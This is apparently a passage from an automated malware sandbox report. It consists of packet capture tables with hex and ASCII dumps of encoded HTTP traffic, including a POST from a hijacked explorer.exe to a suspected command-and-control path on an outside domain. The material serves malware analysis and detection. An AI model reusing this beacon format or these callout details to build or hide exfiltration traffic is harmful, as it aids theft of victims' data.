hi7nMLlddRrE9WvoILnXoGZZYLV1ssuagL3ngJFKuZOkCIPTNpY3VU7W/sSsOBLHcGxZTwijJAnOkcZ3dDDFN7X/L497HheQqMzPUHcsmv1V1eSYD5+tBBWwEs+s/8t0PWV64mkXZyi06L4XqyTUftAta3HfAnmnhCUSDILP2dCD5E3cyJLIMj7JZP1Pdoq5io2CatY9ere4B1pYDvXh8oFDvljML188qJMxFp4yqwnszFe4yF42Og/tiEUOitqx7CS2iNNnX6s8Zt0DUfFBSELc4b7a9fN0+iwns+qH7K52iHASWisoQlp47S2hy3e+M+IzIzYCL6rV4a5U
Aug 29, 2023 22:49:16.028208971 CEST	2020	OUT	Data Raw: 76 30 45 73 54 61 78 6b 58 62 6a 46 4a 49 6d 6f 6b 61 64 49 62 30 6a 57 4e 79 4e 7a 59 63 59 63 64 67 7a 4e 49 6a 35 39 4d 4e 39 57 51 48 78 6e 66 6a 6b 6b 49 44 75 69 64 50 32 43 7a 2b 31 43 6f 50 6b 4d 4d 65 62 41 6e 5a 4d 69 4a 32 4f 78 45 78 Data Ascii: v0EsTaxkXbjFJImokadIb0jWNyNzYcYcdgzNIj59MN9WQHxnfjkkIDuidP2Cz+1CoPkMMebAnZMiJ2OxExfcBhRDzsrhFQl8nMRGPauq9Z0FoRKW/VkMMVnmhPMoSSBZBTJjMiB2WXdka8lbWM7yw0TNnHgvn4vK4a0pk9wl9TiOMyCXI8efbMB7ywEIcecDrthLvwbLWPe64tUSy4kSWK3lLspisxQHQgTbLb15f+XjdrgnGno
Aug 29, 2023 22:49:16.028260946 CEST	2023	OUT	Data Raw: 67 6e 56 5a 4c 2b 66 41 48 33 38 2f 75 34 79 48 79 30 76 73 33 52 6d 59 45 67 44 63 4a 4e 61 75 6e 78 43 45 79 6d 6b 5a 52 7a 34 73 42 2b 77 4c 55 75 6d 4d 72 32 44 4d 56 38 4a 58 6f 4e 64 4f 47 33 68 35 43 6f 31 4d 39 57 6d 6f 72 47 74 70 52 4a Data Ascii: gnVZL+fAH38/u4yHy0vs3RmYEgDcJNaunxCEymkZRz4sB+wLUumMr2DMV8JXoNdOG3h5Co1M9WmorGtpRJ2o6S+/QouvroC8dtGAifVRP4PsoGvjyGGHaCwP+ElrNdeX8PaXu817rRMmprpN4BT4l23OvO8EaHBBDyIJD9iJxV4t3CsANcSdUnLEexrRIQze+rhkXbtoRsG8YXcCPL1sk2a/18HqT4RtJRXL7fTz7wPW7Arp3kT
Aug 29, 2023 22:49:16.281608105 CEST	2028	OUT	Data Raw: 54 4c 35 35 30 4b 47 66 4c 52 6e 4d 2b 6c 50 4b 50 2b 6e 65 4d 79 51 71 39 72 4f 62 57 50 53 4c 50 32 37 4d 55 33 66 77 6c 4d 4f 38 49 43 33 34 69 36 63 38 31 2b 5a 68 48 31 2b 72 7a 2b 56 42 39 78 45 46 6e 47 38 4c 6b 63 52 77 30 54 4b 73 43 34 Data Ascii: TL550KGfLRnM+lPKP+neMyQq9rObWPSLP27MU3fwlMO8IC34i6c81+ZhH1+rz+VB9xEFnG8LkcRw0TKsC4iZSH1bqRAgOZfMG+1f6CfOH3VTvYsYTBZrRBQafrppUBoSHFIhjagxig8Lu/DZnWxGEmzN5/tkQj9MlSFKbO1L3fgGvMxdq14o4Yny1RQBSx3eiqgBZ8WLwqqVr+l1oUVvgMWEootUETKvfXHZmCDwLEJCerlkcfE
Aug 29, 2023 22:49:16.281697035 CEST	2031	OUT	Data Raw: 56 4d 59 54 47 46 45 71 39 66 77 38 72 67 4e 72 51 34 54 5a 6e 6b 75 37 79 2b 73 37 67 56 73 65 50 4a 4a 42 55 59 70 59 70 42 76 6e 46 64 67 6c 61 75 71 37 41 68 56 44 64 6a 37 35 48 78 63 75 4b 4f 33 56 6e 47 56 56 39 55 32 6b 58 67 64 4e 72 6b Data Ascii: VMYTGFEq9fw8rgNrQ4TZnku7y+s7gVsePJJBUYpYpBvnFdglauq7AhVDdj75HxcuKO3VnGVV9U2kXgdNrkRZ1+sast2Ctmooe4vBHEIRaaBcGJAzUsP93RftqTOkJgpFZEUzXU7BRC8a1rgvlr/jLW3hGrZwIOOkPafPJ85IuUj2a8PppmODtKEkr3bQImINNMgW1g2DoVpZ9TZRV/MzUfeBLxjQnTRVy71QpXxJp7JXZmFQEKN
Aug 29, 2023 22:49:16.281881094 CEST	2038	OUT	Data Raw: 4a 4d 2b 66 67 53 38 68 34 42 47 35 57 38 71 6e 2b 37 50 4c 66 34 7a 49 4f 51 6c 48 57 76 55 75 78 73 38 68 2f 47 34 45 32 32 46 48 34 45 5a 73 6a 70 56 74 68 38 57 74 2b 6a 4b 67 71 6e 2f 7a 52 68 44 79 50 6d 31 67 31 35 2b 6d 63 49 45 32 2b 64 Data Ascii: JM+fgS8h4BG5W8qn+7PLf4zIOQlHWvUuxs8h/G4E22FH4EZsjpVth8Wt+jKgqn/zRhDyPm1g15+mcIE2+dDtWFNULKd2Hpnt8A5LczBtC+zgz3HscHr0/e8NuiBQc5JUaAvoYfnNcCyo6N7KXU4uuMMj9N+u2gANiLCcD9eJl86kQRUsjMYAgR/gqfGwUSy4Jwwec50VNY8dmLv2lUAx7QjHr0UiggDlG62eJyp/viIG/J2znwA
Aug 29, 2023 22:49:16.282191038 CEST	2043	OUT	Data Raw: 68 4d 67 6f 59 58 4b 43 6c 31 63 2b 42 56 32 51 76 76 53 43 4b 31 39 2f 38 76 4e 70 78 37 70 30 63 73 62 45 41 50 4e 56 61 2b 75 78 4b 32 36 51 57 6b 4f 39 66 78 4f 49 4d 6d 41 4b 44 6e 33 70 78 38 62 5a 71 72 62 34 51 49 35 4f 32 74 65 33 75 73 Data Ascii: hMgoYXKCl1c+BV2QvvSCK19/8vNpx7p0csbEAPNVa+uxK26QWkO9fxOIMmAKDn3px8bZqrb4QI5O2te3usk+8ux0DalLpIQZYIMxKvTVsLkxObMGx87yJaHw49qUxPENDPamdKGAAnxCkC6M2uId4+ThoAS0IJK3J8ztqnChsTIHku5snBQ+ssmEBf1ga1AU334jG1/SuUrP/awIzshiz6bcpNsrXnH3Yxoq/1V3/rMBOKetSJk
Aug 29, 2023 22:49:16.282360077 CEST	2049	OUT	Data Raw: 32 44 63 6b 61 6b 4b 2b 42 36 2f 72 78 74 75 44 79 72 72 35 75 31 36 41 31 66 30 77 65 76 6a 43 48 77 68 45 4c 62 48 79 4c 32 57 35 36 48 34 49 59 5a 76 77 47 46 54 39 61 54 30 30 71 79 67 76 67 6f 48 6b 4c 42 4c 42 4d 6b 50 61 6c 74 73 36 46 69 Data Ascii: 2DckakK+B6/rxtuDyrr5u16A1f0wevjCHwhELbHyL2W56H4IYZvwGFT9aT00qygvgoHkLBLBMkPalts6Fi5EMdciEOKEW/VGWmv6FE+oMHZ2qaCGOd6YcOgL9Qg3koRRhGXtxL5XAZs7JjfC8+h5aptDDMJWfTFbYYO/ZdUKhOPmZuret7tPsYkvZcq4OX8/y2yUqPPcE6VPv1K0FWviKJNtT33Ir+PShzSOC9lK8teur5Z3nD1
Aug 29, 2023 22:49:16.535078049 CEST	2054	OUT	Data Raw: 45 45 48 53 33 4a 2b 35 77 6c 2f 73 6c 43 4d 68 31 47 54 68 56 4c 71 59 58 75 31 37 33 57 4d 6b 51 46 7a 77 72 59 70 45 6a 4a 67 4a 73 49 43 49 67 58 71 34 37 32 66 68 76 7a 6d 5a 31 38 36 6c 59 57 76 71 44 67 66 74 62 76 70 76 54 32 76 37 41 42 Data Ascii: EEHS3J+5wl/slCMh1GThVLqYXu173WMkQFzwrYpEjJgJsICIgXq472fhvzmZ186lYWvqDgftbvpvT2v7ABDx+16x5rx7qUpTaIkRV3AJeneSzY/ncWN2fuiSS5rUqcIp5b/iv76GsHMlyYfx9wZ+Dlhr0drLWZyjwxZy8+ZckYHv/kj4EgaeQuxJa8sq1COAFKEcuIYnQ9L/Y6n7d/xoN1QgUqIsL0jm+H4Ds1ummQLL6RdWhjD
Aug 29, 2023 22:49:16.535290003 CEST	2059	OUT	Data Raw: 4b 7a 77 42 7a 76 59 78 75 37 6d 67 6b 49 48 30 71 6e 6a 37 6e 61 2b 37 30 54 33 4b 6a 39 57 61 6e 66 4e 30 75 59 37 33 4f 68 74 31 64 45 7a 6b 6a 4b 71 65 6f 67 52 70 69 52 74 52 63 71 62 33 75 44 66 73 2f 72 47 4b 78 4e 4f 33 2f 7a 6e 35 4b 47 Data Ascii: KzwBzvYxu7mgkIH0qnj7na+70T3Kj9WanfN0uY73Oht1dEzkjKqeogRpiRtRcqb3uDfs/rGKxNO3/zn5KGySRqq7OEmHK42cvOV2tEnBbu0mlZD4yUj5TiubEQwEXMdJHgTQiY1nW0jp6EqhQ8Ine3DVe21QgOvQnvI606YN/T6XgiyOdAagjzW744uaCec2s1ziC7NBr9zgqxKsE4kPuUzQ7Z0rLKKb6hLY942zofmdk4y0aYD
Aug 29, 2023 22:49:16.535631895 CEST	2062	OUT	Data Raw: 51 6c 4f 67 72 4e 46 6a 77 72 45 35 77 59 4f 2b 49 79 30 49 4e 6f 35 52 5a 35 57 5a 34 4a 63 37 74 6c 62 38 58 59 5a 79 61 77 75 47 68 49 69 35 6d 73 76 31 5a 69 66 31 36 79 2b 6c 30 74 69 58 50 72 59 65 4a 6b 76 6b 53 6b 65 44 34 4d 5a 59 51 66 Data Ascii: QlOgrNFjwrE5wYO+Iy0INo5RZ5WZ4Jc7tlb8XYZyawuGhIi5msv1Zif16y+l0tiXPrYeJkvkSkeD4MZYQfkmGbtkZEpk/m/W/IS974RyOKg1hLSiF+w/5pWDYdeyzL6mepY9pT0HgGeitT9x4ngwEXayAUpO+ZT7iKg7a6nEnC9k4lCwU59LnnPKskrGILKDqvOih/tWIYS4cQr6QrntKDCBnRkjbebGZnscxcHBN8mcgeeN3sA
Aug 29, 2023 22:49:16.868521929 CEST	2066	IN	HTTP/1.1 404 Not Found Date: Tue, 29 Aug 2023 20:49:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Server: LiteSpeed x-powered-by: PHP/8.2.9 x-litespeed-tag: 711_HTTP.404 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 link: <https://ishikorori.com/wp-json/>; rel="https://api.w.org/" x-litespeed-cache-control: no-cache content-encoding: br vary: Accept-Encoding x-turbo-charged-by: LiteSpeed Data Raw: 33 62 30 0d 0a f4 ff 1b 18 89 b0 a6 f5 00 68 84 0e 9f f3 fe 5f 55 fb be 77 53 e1 58 67 56 d6 2c 00 01 60 10 45 3e 7b c3 8f b9 4a 73 2e 2f 2e 29 8c 41 82 03 40 a6 b4 7a fa 21 e4 2e 16 e5 6b 7f d7 f9 47 ff 3f 7f ff 99 b9 ed 20 9b 20 b7 83 90 50 4b df 14 3a 03 0e 95 8d 1d dd aa ba 41 4b dd 81 68 48 32 88 06 00 aa f6 de 67 9f 7e 74 9f 08 5a dc 02 1a ec 19 96 0c 00 91 33 4a e2 81 36 43 e8 95 3b 09 de cf 14 84 4e c2 b1 31 d4 be fd b9 8c 1e 08 38 62 1b 47 6d 0c f5 bf e3 cf e4 8d ed 81 a8 89 87 c5 0e ab de 96 5f f0 fc c7 60 6b af 81 ac ac a3 5b aa 74 4b 30 b1 e8 9f b7 79 f8 ea 94 27 3f 7b d5 b7 7e 7e fc 0c 8f 2f 0f b6 f7 c0 af 26 ca 2b e4 ff 9c 13 e5 e7 c7 73 1e 44 f3 f8 a2 ab 66 26 a7 3d 32 d2 fa 4f 5f 79 26 7a 23 ce ba 78 ff 65 45 42 f0 f4 ac a5 e2 2c f4 6b c5 e0 f2 73 67 ee 08 be 49 e3 ab 76 ab b2 2f 5b fe ae c4 7a a2 59 d8 b0 ce 63 04 4b e1 ff c6 43 88 13 64 61 29 13 66 17 66 9c 3f 76 26 4f cb 29 cc f4 3c 87 c7 97 87 87 07 c6 1e 18 63 ac eb fc ff 0d 3f e6 43 0f 9e 25 97 89 65 18 d9 d3 98 61 94 9f d3 8e 09 f6 63 21 8c 9e 58 46 f2 32 21 5e 3e 4e a6 3e fe 57 d9 98 12 e0 62 9c 57 ad eb 2a c7 a7 3b 65 18 e7 61 7a 5a bc dd 01 fe 24 63 86 71 ff 39 7d c7 d9 e7 1f 13 e6 87 cb 1f ff e9 5f f8 e9 ef ff cc 2f 3d be 7c b5 47 1c e1 8b c3 4d 18 5b cf fd 27 b2 90 e1 a7 e1 4a 51 ed 9d f3 5b 7c fd 35 fb d5 5f ef 02 cd b6 f0 b6 63 86 f1 69 77 0b fd 36 72 39 a7 d3 93 c9 5c b5 eb ee ef 93 e7 7f cd ed e7 b4 e5 6c a6 95 fd 30 64 7a da ed ba 07 2f 9f 03 86 79 70 e3 96 b3 6d 04 2e db ee 48 77 d1 b8 fa 81 31 21 5f fe f0 f0 7c f5 12 e9 20 9e c7 31 3b 27 b1 f0 fd 97 66 3c 49 f4 7c f9 ca bb f9 95 45 f2 cf 8f 5e d7 3c 8e b2 bc e5 a3 78 f7 f2 08 75 4a 64 be df d0 d7 c1 67 b8 b0 74 9f c3 e2 50 fe c9 46 3b 7f 4e 12 7d 38 db c1 43 a4 c7 b7 5c 60 24 b0 46 34 57 a6 6b f6 e1 c6 ab f1 f9 e5 6c 92 a3 b4 e1 dc 7b 1a 9d e2 d1 94 33 e5 c8 dd ff 79 41 ae ee 48 b0 cc 4c 56 d3 dd 2a 03 4b 23 0b 57 61 22 e1 ba 01 3e 50 43 98 73 62 a0 7e ef 2d d8 d8 5f e9 53 92 5f ce 30 e7 44 f1 ed a9 0d 1f f1 5c 27 39 46 78 83 0c e9 ed 41 68 67 69 99 1f 88 bc ba 69 c4 7a 4e 7f 4e 96 bc 7b 8b b6 f0 5b b8 09 46 4a 62 20 99 92 17 2e 8f 3e 4c f0 03 d3 6c 87 da 3d 36 2e cc 12 e7 26 93 5c 15 48 12 23 cf 6d 27 a7 90 4e 6e 0a e1 6f 80 c9 cb 89 2e b7 21 43 6e f7 88 f6 f1 98 5b f0 08 f4 ad f7 dd ac 90 3f b2 9f 8f e4 03 d8 c2 e2 ef c0 07 b0 8f 0c d2 f3 e3 10 e6 3c de f2 7b 0f 61 ce fb 35 0c 43 74 7f Data Ascii: 3b0h_UwSXgV,`E>{Js./.)A@z!.kG? PK:AKhH2g~tZ3J6C;N18bGm_`k[tK0y'?{~~/&+sDf&=2O_y&z#xeEB,ksgIv/[zYcKCda)ff?v&O)<c?C%eac!XF2!^>N>WbW;eazZ$cq9}_/=\|GM['JQ[\|5_ciw6r9\l0dz/ypm.Hw1!_\| 1;'f<I\|E^<xuJdgtPF;N}8C\`$F4Wkl{3yAHLVK#Wa">PCsb~-_S_0D\'9FxAhgiizNN{[FJb .>Ll=6.&\H#m'Nno.!Cn[?<{a5Ct
Aug 29, 2023 22:49:16.868611097 CEST	2066	IN	Data Raw: e3 53 ce 4b bb df bb 74 72 af 21 86 e8 4a e3 ab d6 45 d4 0f 5a b5 f4 37 c6 80 21 cc 62 82 94 29 ee 57 ea 53 e0 27 df 3b 0c 53 08 f3 de e5 62 49 e4 b5 18 43 4a e3 ca 3a 19 7c 3e 98 c7 cf fb 10 e6 0c 2b a5 30 d1 de f5 12 e1 75 e2 f8 53 35 df 79 7b Data Ascii: SKtr!JEZ7!b)WS';SbICJ:\|>+0uS5y{.A*^JU_f?s?\|;1~Pzm}i[v;%acvWo^/
Aug 29, 2023 22:49:16.868707895 CEST	2067	IN	Data Raw: 32 65 38 39 0d 0a b9 1f fb f9 22 7f 82 1a 6b c4 6b 72 dd be 1d 78 bb f9 d1 bf 50 99 fd 3a 4c cc f7 e0 6a 4c 05 82 77 3e 47 cf 5b ab e3 21 8d 9d 45 a9 ca 3d bf 93 50 82 20 21 95 f7 b7 b5 c4 03 d3 29 e4 a5 bc 72 6e 69 35 3f 12 c1 07 fb 80 20 a2 a7 Data Ascii: 2e89"kkrxP:LjLw>G[!E=P !)rni5? ~ICOk.~k%k8})hT/"Dk.$FWDhl _=#me:cim[*kO?7{{{
Aug 29, 2023 22:49:16.868802071 CEST	2068	IN	Data Raw: 5c 9b a3 4a 3f 33 a5 e2 5a d7 dc 54 1a 1c 96 58 f7 21 92 fb 01 09 b1 3c bd 73 d8 32 5d 2c 17 8f e7 f1 44 d6 9d a7 96 19 f5 38 b5 82 9c 75 cb 8a fa ed e4 e5 f9 3b 2e 4d eb 72 f0 fc 12 c2 a8 96 29 59 96 91 a6 8f 2f 2d be ab f5 e1 e9 96 aa 65 1a e6 Data Ascii: \J?3ZTX!<s2],D8u;.Mr)Y/-eVeZVuZf9TY4/TZVIU8'ab}oer}q\*HC(kY.R\|\:A\_hSLQ<TgqV1A{%pEnBfgYz6jY
Aug 29, 2023 22:49:16.868860006 CEST	2070	IN	Data Raw: 62 da 71 b7 9e 39 a6 e9 1e e4 93 69 96 51 b6 3c 13 cb 4c b3 b8 ce 3d d3 c0 b7 1b 19 64 b7 f9 4e 93 d1 63 71 49 7b 9d 4a 54 66 af 69 e8 11 4e 9b b6 46 98 6e da 51 eb 53 0c fc 37 4d ff 5d 2d 2b 4e b3 cf d6 3d 57 4e 33 7c 98 41 a7 c9 18 c0 44 59 fb Data Ascii: bq9iQ<L=dNcqI{JTfiNFnQS7M]-+N=WN3\|ADY]vQRvS<v;(n0O35yG;ytI(#jez[b}zO[Yye=B]jWNz 6_f.C
Aug 29, 2023 22:49:16.868913889 CEST	2071	IN	Data Raw: 93 c3 18 8e 5a 9f 31 6f 16 96 e8 3d 5c 86 5e 6c ea 6f 44 c8 d1 ef 13 c3 38 7a 32 81 b9 42 3b 75 57 dd 42 7f 18 7d 08 af de f1 f8 e1 be 02 45 ea 61 d3 c3 e6 30 c1 63 9b a1 d8 64 00 43 98 73 90 16 22 3c f1 d1 66 32 76 f7 8e d2 e6 36 5a 94 f6 74 52 Data Ascii: Z1o=\^loD8z2B;uWB}Ea0cdCs"<f2v6ZtRl!>\|"yeOgid#FKpTc{r7w3Tz (I/Ti39)xq[5:5MT5?';b>krn 2_sj.ZPJM
Aug 29, 2023 22:49:16.868968010 CEST	2072	IN	Data Raw: ce 2a 53 a7 b0 f8 83 a9 32 98 92 c0 1f 06 5c cc 34 29 03 22 8a 91 b2 a0 97 24 c7 37 9a fa 71 83 ed 34 99 e6 e4 bf 8e a3 43 9f f5 e8 c7 05 d8 34 f9 49 5c 51 81 85 64 0a 17 63 46 55 04 02 2d 7f a6 c3 0c 10 39 e3 76 95 b0 5c 0c 9d 64 bd 0e 25 67 e0 Data Ascii: *S2\4)"$7q4C4I\QdcFU-9v\d%g'$DsV?&%vjl06^}YtL-&2)W[TQX'CR cQ@rn(I@H`:KC$+a.0-VTzq%Bka @OF~bc
Aug 29, 2023 22:49:16.869024038 CEST	2074	IN	Data Raw: b2 04 b2 82 3a 42 e0 e9 c3 90 40 73 01 b3 33 f6 ff 0d 05 15 a5 70 f9 53 03 de 1a 54 13 2c 2c 7a ea e4 1a 93 cc 93 6e a5 03 43 09 5c 60 92 c4 05 36 c4 1c b6 76 c6 da 99 13 f9 d8 7b e1 10 f3 71 6f ff 04 9f bf 68 5e 22 e0 59 4e 0b 74 45 28 7c 06 45 Data Ascii: :B@s3pST,,znC\`6v{qoh^"YNtE(\|EM.thfI#b4+J@QV'~B{q@YIJc{x>+ 6!LdLgu1-EAr}.E' ;
Aug 29, 2023 22:49:16.869077921 CEST	2075	IN	Data Raw: 9d 21 d5 20 8f 33 03 15 91 56 bd a6 91 ea 33 45 dc 2f 78 cb 78 2e 86 7e b2 b6 85 d3 33 c4 9e 35 41 68 d5 c6 ce b8 5f d0 88 f5 19 08 16 99 d8 ee ef 84 83 17 ad 7e e0 f0 47 10 c1 aa 0d 7e 97 89 c3 11 00 76 38 a9 dc 03 16 62 5b ec ea 11 dc 92 a3 bc Data Ascii: ! 3V3E/xx.~35Ah_~G~v8b[,GqVB*W`%i\YLAjU!vbzZn/yLT~AtYZa?c'Y1\>hkLC (xfKV5\=po
Aug 29, 2023 22:49:16.869132042 CEST	2076	IN	Data Raw: 06 0b db 98 0a 62 05 77 be f2 93 87 d4 a2 b9 84 bd 14 e9 20 ec a7 62 e7 62 4c 1c 6d 0d aa 30 06 06 7d 61 e2 2b 7d 52 cb c3 0d fd 34 b1 fa 35 3e 99 17 44 7c c0 a0 55 1a d8 aa 7f 37 91 6c e4 3d 70 00 e1 60 d7 e3 29 aa 47 02 9d e3 ee 66 a4 2a 72 64 Data Ascii: bw bbLm0}a+}R45>D\|U7l=p`)Gf*rd.T:o2JKd;,cQp) tqW^J%MWml6P,2&Y1XI[PK#mGy\Ms@m`":}oO0zFzFtu,2q
Aug 29, 2023 22:49:17.122061014 CEST	2078	IN	Data Raw: 58 f4 7f d5 2f 3a 48 f6 5c c0 44 53 97 db 67 8e bd 18 7a cb 1a 18 85 a2 21 0b 0c 13 5d 66 62 60 9a 40 ae 8f 78 30 fc 62 83 cf 52 0b e7 58 d0 de 0b 06 8e 24 8e 8f a5 0b f2 70 d7 07 b4 e2 64 fe 01 1b b1 2d 26 1e 28 b6 1c c5 66 b2 d1 e7 21 5a 33 25 Data Ascii: X/:H\DSgz!]fb`@x0bRX$pd-&(f!Z3%&ksY"sqG _a*$iE_%j_ 2XZ@Rv>y#L:_zsNPUFZA"a0^Sv_NSXuHXRtkF0Xq q6Q

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.11.20	49987	96.44.182.131	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:44:42.202291965 CEST	365	OUT	POST /aw8o/ HTTP/1.1 Host: www.handsome-sex.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.handsome-sex.com Referer: http://www.handsome-sex.com/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 77 78 6d 35 47 4f 41 34 65 4e 6b 78 67 4f 70 62 58 6d 69 58 4c 34 38 47 70 6f 49 6c 65 57 41 61 7a 61 45 75 7a 69 33 6f 53 61 56 7a 6e 38 6d 58 74 42 4b 5a 6a 54 66 61 4b 44 73 35 4d 4e 68 50 59 58 2b 65 5a 4a 7a 30 78 39 61 66 41 56 69 55 4a 38 35 79 47 37 38 4f 5a 74 43 47 72 32 43 30 74 55 45 42 61 37 53 51 4f 6b 50 47 79 41 37 65 71 50 39 78 31 64 49 72 62 6a 70 39 56 62 4f 76 4f 6b 56 74 70 6d 49 6b 44 48 39 38 57 43 38 66 6b 53 6c 69 61 55 32 43 67 45 33 34 36 6a 64 50 36 7a 35 5a 73 69 74 47 78 74 74 50 34 68 56 6a 66 70 78 2b 74 79 5a 6c 4b 4a 72 74 64 72 51 62 65 58 78 63 65 69 54 36 55 68 6e 4e 64 6b 45 6c 48 51 35 2f 72 50 45 4b 39 4d 49 4a 6c 5a 42 79 6d 66 36 4d 52 77 37 56 41 77 48 58 6b 5a 6a 77 4b 45 31 62 43 45 75 5a 67 2b 48 50 59 70 70 48 6f 6f 73 46 71 51 6d 59 44 54 74 63 57 63 52 65 4a 4f 49 59 6b 51 64 6c 55 4e 53 6e 4a 74 38 73 58 55 33 39 35 2b 65 54 68 65 7a 47 46 54 32 2f 43 6f 6a 62 6d 63 66 4a 70 46 69 4a 5a 51 48 68 2b 43 6d 73 6e 38 69 53 74 7a 6c 37 4f 71 48 49 67 56 4a 47 38 4c 45 4f 6d 4a 6e 68 69 45 70 35 6f 39 4f 49 79 51 7a 50 6e 78 78 6b 76 49 51 49 38 47 47 36 72 62 57 2b 68 70 4d 73 42 63 31 68 4d 39 69 74 44 30 4d 64 46 74 68 4a 74 30 6b 47 6a 48 4a 56 54 55 49 42 31 6c 35 44 73 67 36 45 39 7a 39 32 57 62 34 44 54 37 6d 45 43 43 43 30 44 54 77 4e 30 6d 4f 79 52 75 4a 6a 53 47 43 65 43 35 41 77 46 65 62 6f 74 4f 31 46 49 6c 54 5a 62 47 78 49 4e 65 6c 73 74 73 79 4f 47 71 6f 76 6e 6d 55 4d 69 4f 2f 4b 59 4e 64 57 65 58 64 38 56 61 4d 43 61 4e 44 62 35 6b 73 72 43 65 67 70 57 6b 2f 7a 54 47 4e 43 63 30 4d 51 39 76 2b 66 56 6b 4f 45 63 5a 4d 65 78 71 4b 4f 4e 77 77 51 54 37 68 54 77 32 65 6a 76 37 36 76 5a 6e 49 38 4d 37 39 77 70 57 70 50 73 34 36 65 4b 5a 74 70 58 49 35 68 56 70 79 6d 69 39 51 49 6c 71 78 72 33 66 48 4c 76 38 64 7a 67 33 63 2b 6a 42 75 4b 33 64 61 62 7a 78 75 4c 6f 73 2b 68 77 36 6d 33 47 64 6e 39 31 73 74 45 79 2f 71 2f 47 47 52 35 4d 75 74 53 46 4d 30 45 6e 69 6d 4f 34 4d 6a 55 74 39 51 79 45 76 67 30 4a 65 4a 69 67 50 63 51 31 73 6c 37 6e 37 47 62 30 4c 4c 69 4d 35 39 6d 62 63 4e 6f 55 33 42 51 2f 51 42 48 74 44 70 77 46 33 64 48 6c 78 74 34 33 79 61 45 30 6e 77 41 73 5a 71 68 2b 65 36 6d 44 62 4f 41 4f 52 4e 73 55 57 63 2b 4b 57 4e 6e 2b 5a 69 33 57 2b 58 6f 2b 47 6f 38 75 32 45 76 61 53 46 4b 48 7a 48 49 48 67 69 68 76 7a 30 78 6e 35 77 31 43 68 4f 61 30 4c 76 31 6e 78 48 67 58 30 66 45 56 2f 33 79 43 4b 6c 74 35 55 56 4e 50 6c 6d 61 70 43 6a 78 78 46 38 35 78 50 73 30 36 6d 63 39 45 56 51 5a 6f 6a 56 73 37 75 4a 4c 74 66 6d 4f 66 33 30 79 4f 4a 32 35 6e 71 71 74 34 67 70 51 30 50 6c 2f 49 58 4d 35 67 50 62 35 36 2f 45 51 6b 6b 43 67 68 54 45 61 30 64 33 52 34 6e 66 39 49 50 6d 6b 6f 72 50 72 31 4a 4e 30 39 43 55 49 34 55 5a 46 50 65 47 4d 4b 5a 6a 31 7a 70 4a 6c 75 7a 4f 33 4e 6f 42 67 72 48 63 44 41 4f 55 55 58 6d 48 57 69 39 6b 5a 4b 68 48 73 39 66 76 50 65 57 4a 57 30 6e 35 47 34 6b 6d 50 61 4d 6b 50 42 4e 56 7a 30 6c 45 51 76 74 65 71 72 76 6d 41 6f 65 6b 48 37 34 57 43 71 50 69 39 65 45 5a 44 41 68 50 32 46 4c 51 31 58 6a 45 30 67 45 63 77 58 6f 46 4b 39 71 53 55 56 73 57 47 4f 35 75 45 39 65 46 43 65 6d 35 62 4d 4a 58 47 66 36 4a 35 6f 52 7a 49 38 46 48 79 4c 35 57 68 4b 55 62 6d 7a 69 56 77 7a 2b 37 58 38 76 49 43 63 6a 6c 77 47 66 30 6e 72 31 50 45 4f 64 53 6c 61 31 2f 4f 34 6c 7a 6e 75 4d 34 65 74 31 7a 55 38 58 66 45 4f 70 75 43 53 5a 4a 54 53 4a 42 30 42 4b 63 6b 76 6a 45 45 71 34 78 4d 49 54 71 36 41 33 73 42 51 6d 44 41 72 4f 6a 37 68 55 32 4c 62 6c 50 46 48 63 2b 69 2b 62 75 73 36 78 65 61 68 30 76 72 30 4a 2f 6b 44 6b 77 2b 7a 39 57 68 79 78 79 44 39 5a 50 72 55 79 74 66 4a 55 68 35 6e 30 4d 50 67 46 6f 35 37 61 76 30 36 66 76 62 65 63 51 5a 6c 38 7a 31 6e 64 4c 4f 7a 6e 5a 43 7a 4e 41 49 53 30 57 77 4b 7a 48 4d 73 70 66 51 63 35 66 53 53 6e 55 2f 57 72 41 63 78 69 37 45 75 77 37 68 32 2b 6c 36 76 69 66 36 72 56 65 4e 4a 47 6e 50 79 71 32 32 43 67 51 77 67 5a 53 75 68 6a 69 63 77 72 66 62 6e 35 65 36 34 32 6a 68 56 6c 7a 2b 61 5a 74 4d 37 5a 4e 45 31 42 46 77 6b 34 72 52 36 52 63 36 55 61 5a 32 56 74 48 49 33 70 6a 48 Data Ascii: 5Nag0d=wxm5GOA4eNkxgOpbXmiXL48GpoIleWAazaEuzi3oSaVzn8mXtBKZjTfaKDs5MNhPYX+eZJz0x9afAViUJ85yG78OZtCGr2C0tUEBa7SQOkPGyA7eqP9x1dIrbjp9VbOvOkVtpmIkDH98WC8fkSliaU2CgE346jdP6z5ZsitGxttP4hVjfpx+tyZlKJrtdrQbeXxceiT6UhnNdkElHQ5/rPEK9MIJlZBymf6MRw7VAwHXkZjwKE1bCEuZg+HPYppHoosFqQmYDTtcWcReJOIYkQdlUNSnJt8sXU395+eThezGFT2/CojbmcfJpFiJZQHh+Cmsn8iStzl7OqHIgVJG8LEOmJnhiEp5o9OIyQzPnxxkvIQI8GG6rbW+hpMsBc1hM9itD0MdFthJt0kGjHJVTUIB1l5Dsg6E9z92Wb4DT7mECCC0DTwN0mOyRuJjSGCeC5AwFebotO1FIlTZbGxINelstsyOGqovnmUMiO/KYNdWeXd8VaMCaNDb5ksrCegpWk/zTGNCc0MQ9v+fVkOEcZMexqKONwwQT7hTw2ejv76vZnI8M79wpWpPs46eKZtpXI5hVpymi9QIlqxr3fHLv8dzg3c+jBuK3dabzxuLos+hw6m3Gdn91stEy/q/GGR5MutSFM0EnimO4MjUt9QyEvg0JeJigPcQ1sl7n7Gb0LLiM59mbcNoU3BQ/QBHtDpwF3dHlxt43yaE0nwAsZqh+e6mDbOAORNsUWc+KWNn+Zi3W+Xo+Go8u2EvaSFKHzHIHgihvz0xn5w1ChOa0Lv1nxHgX0fEV